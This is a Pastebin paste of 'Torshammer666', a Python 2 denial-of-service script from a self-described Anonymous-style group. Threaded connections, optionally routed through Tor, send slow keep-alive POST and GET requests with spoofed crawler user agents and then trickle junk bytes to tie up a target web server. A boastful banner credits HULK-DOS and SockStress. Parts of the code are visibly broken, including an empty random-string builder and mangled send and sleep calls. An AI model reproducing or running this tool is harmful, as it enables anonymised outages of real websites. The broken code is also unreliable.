Advertisement
GTP

Torshammer

GTP
Jul 24th, 2015
587
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.71 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Torshammer666-(edit) with New random keep alive values added GET request, More randomizers and other tweaks
  3. #An0nsec666 An0nsecHackers
  4.  
  5. import os
  6. import re
  7. import time
  8. import sys
  9. import random
  10. import math
  11. import getopt
  12. import socks
  13. import string
  14. import terminal
  15. from threading import Thread
  16.  
  17. global stop_now
  18. global term
  19. headers_referers=[]
  20. stop_now = False
  21. term = terminal.TerminalController()
  22. host=''
  23. url=''
  24. useragents = [
  25. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  26. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  27. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  28. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  29. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  30. "zspider/0.9-dev http://feedback.redkolibri.com/",
  31. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  32. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  33. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  34. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  35. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  36. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  37. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  38. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  39. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  40. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  41. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  42. "TheSuBot/0.2 (www.thesubot.de)",
  43. "TheSuBot/0.1 (www.thesubot.de)",
  44. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  45. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  46. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  47. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  48. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  49. "FAST-WebCrawler/3.x Multimedia",
  50. "Mozilla/4.0 (compatible: FDSE robot)",
  51. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  52. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  53. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  54. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  55. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  56. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  57. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  58. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  59. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  60. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  61. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  62. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  63. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  64. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  65. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  66. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  67. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  68. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  69. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  70. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  71. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  72. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  73. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  74. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  75. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  76. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  77. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  78. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  79. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  80. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  81. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  82. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  83. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  84. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  85. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  86. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  87. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  88. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  89. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  90. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  91. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  92. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  93. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  94. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  95. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  96. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  97. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  98. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  99. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  100. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  101. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  102. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  103. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  104. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  105. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  106. "Opera/9.20 (Windows NT 6.0; U; en)",
  107. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  108. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  109. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  110. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  111. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  112. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  113. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  114. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  115. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  116. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  117. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  118. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  119. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  120. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  121. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  122. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  123. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  124. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  125. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  126. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  127. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  128. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  129. ]
  130.  
  131.  
  132. #builds random ascii string
  133.  
  134. def buildblock(self, size):
  135. out_str = ''
  136.  
  137. _LOWERCASE = range(97, 122)
  138. _UPPERCASE = range(65, 90)
  139. _NUMERIC = range(48, 57)
  140.  
  141. validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  142. return(out_str)
  143.  
  144. class httpPost(Thread):
  145. def __init__(self, host, port, tor):
  146. Thread.__init__(self)
  147. self.host = host
  148. self.port = port
  149. self.socks = socks.socksocket()
  150. self.tor = tor
  151. self.running = True
  152.  
  153. # generates a referer array
  154. def referer_list():
  155. global headers_referers
  156. headers_referers.append('http://www.google.com/?q=')
  157. headers_referers.append('http://www.usatoday.com/search/results?q=')
  158. headers_referers.append('http://engadget.search.aol.com/search?q=')
  159. headers_referers.append('http://' + host + '/')
  160. return(headers_referers)
  161.  
  162. def _send_http_post(self, pause =random.randint(5 ,10)):
  163. global stop_now
  164. self.socks.send("POST / HTTP/1.1\r\n"
  165. "Host: %s\r\n"
  166. "User-Agent: %s\r\n"
  167. "Cache-Control: no-cache\r\n"
  168. "Connection: keep-alive\r\n"
  169. "Keep-Alive: 300\r\n"
  170. "Content-Length: 10000\r\n"
  171. "Content-Type: application/x-www-form-urlencoded,multipart/form-data\r\n\r\n" %
  172. (self.host, random.choice(useragents)))
  173. def _send_http_get(self,pause=random.randrange(5, 10)):
  174. global stop_now
  175. self.socks.send("GET / HTTP/1.1\r\n"
  176. "Host: %s\r\n"
  177. "User-Agent: %s\r\n"
  178. "Connection: keep-alive\r\n"
  179. "Keep-Alive: 300\r\n"
  180. "Content-Length: 42\r\n"
  181. "Cache-Control: no-cache\r\n"
  182. "Window-Size: 0\r\n\r\n" %
  183. (self.host, random.choice(useragents)))
  184.  
  185. for i in range(0, 9999):
  186. if stop_now:
  187. self.running = False
  188. break
  189. data=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0''!','@','#','$','%','^','&','*','(',')','-','_','"', ';','NULL','null''\x00','0xFFFFFFFF']
  190. p = random.choice(data)
  191. counts=[p,p*2,p*3,p*4,p*5,p*6]
  192. count = random.choice(counts) # randomly sends 1-6 random data strings at a time ;)
  193. print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % count+term.NORMAL
  194. self.socks.send(count)(buildblock)(random.randint(3,10)) + '=' + (buildblock)(random.randint(3,10)) # imported buildblocks str8 from hulk(ddos)
  195. time.sleep(random.uniform(0.1, 3))
  196.  
  197. self.socks.close()
  198.  
  199. def run(self):
  200. while self.running:
  201. while self.running:
  202. try:
  203. if self.tor:
  204. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  205. self.socks.connect((self.host, self.port))
  206. print term.BOL+term.UP+term.CLEAR_EOL+"T0r b0ts c0nnected"+ term.NORMAL
  207. break
  208. except Exception, e:
  209. if e.args[0] == 106 or e.args[0] == 60:
  210. break
  211. print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting"+ term.NORMAL
  212. time.sleep=(random.uniform(1, 3))
  213. continue
  214.  
  215.  
  216. while self.running:
  217. try:
  218. random.choice[(self._send_http_post(), self._send_http_get())]
  219. except Exception, e:
  220. if e.args[0] == 32 or e.args[0] == 104:
  221. print term.BOL+term.UP+term.CLEAR_EOL+"Broken threads, restarting..."+ term.NORMAL
  222. self.socks = socks.socksocket()
  223. break
  224. time.sleep(0.1)
  225. pass
  226.  
  227. def usage():
  228. print "./torshammer666.py -t <target> [-r <threads> -p <port> -T -h]"
  229. print " -t|--target <Hostname|IP>"
  230. print " -r|--threads <Number of threads> Defaults to 356"
  231. print " -p|--port <Web Server Port> Defaults to 80"
  232. print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
  233. print " -h|--help Shows this help\n"
  234. print "Eg. ./torshammer666.py -t 192.168.1.100 -r 256\n"
  235.  
  236. def main(argv):
  237.  
  238. try:
  239. opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  240. except getopt.GetoptError:
  241. usage()
  242. sys.exit(-1)
  243.  
  244. global stop_now
  245.  
  246. target = ''
  247. threads = 356
  248. port = 80
  249. tor = False # -____- fck who ever doesnt use TOR really... LULZ your choice
  250.  
  251. for o, a in opts:
  252. if o in ("-h", "--help"):
  253. usage()
  254. sys.exit(0)
  255. if o in ("-T", "--tor"):
  256. tor = True
  257. elif o in ("-t", "--target"):
  258. target = a
  259. elif o in ("-r", "--threads"):
  260. threads = int(a)
  261. elif o in ("-p", "--port"):
  262. port = int(a)
  263.  
  264. if target == '' or int(threads) <= 0:
  265. usage()
  266. sys.exit(-1)
  267.  
  268. print term.DOWN + term.RED + "/*" + term.NORMAL
  269. print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  270. print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
  271. print term.RED + " * Give 2 mins. with Tor on before checking site" + term.NORMAL
  272. print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  273.  
  274. rthreads = []
  275. for i in range(threads):
  276. t = httpPost(target, port, tor)
  277. rthreads.append(t)
  278. t.start()
  279.  
  280. while len(rthreads) > 0:
  281. try:
  282. rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  283. except KeyboardInterrupt:
  284. print "\nShutting down threads...\n"
  285. for t in rthreads:
  286. stop_now = True
  287. t.running = False
  288.  
  289. if __name__ == "__main__":
  290. print "\n/*"
  291. time.sleep(01)
  292. print " *" "~an0nsec666~ \n"
  293. print " *" "-=============================================-\n"
  294. print " *" " Torshammer666v666 ;) bitches! "
  295. print " *"" An0nsec Hackers\n"
  296. time.sleep(02)
  297. print " *"" -=============================================-"
  298. print " *"+term.GREEN + "~An0nsec666: An0nsecHackers "+term.NORMAL
  299. print " * Torshammer with added GET / Request method & tweaked randomizers "
  300. print " * DOS Expl01ts & Methods imported from:Torshammer, HULK-DOS, SockStress, SlowRead"
  301. print " * We are an0nymous #An0nsecHackers."
  302. print " * We are Legion."
  303. print " * We do not forgive. "
  304. print " * We do not forget."
  305. print " * Pedos... Expect us!!!."
  306. print " */\n"
  307.  
  308. main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement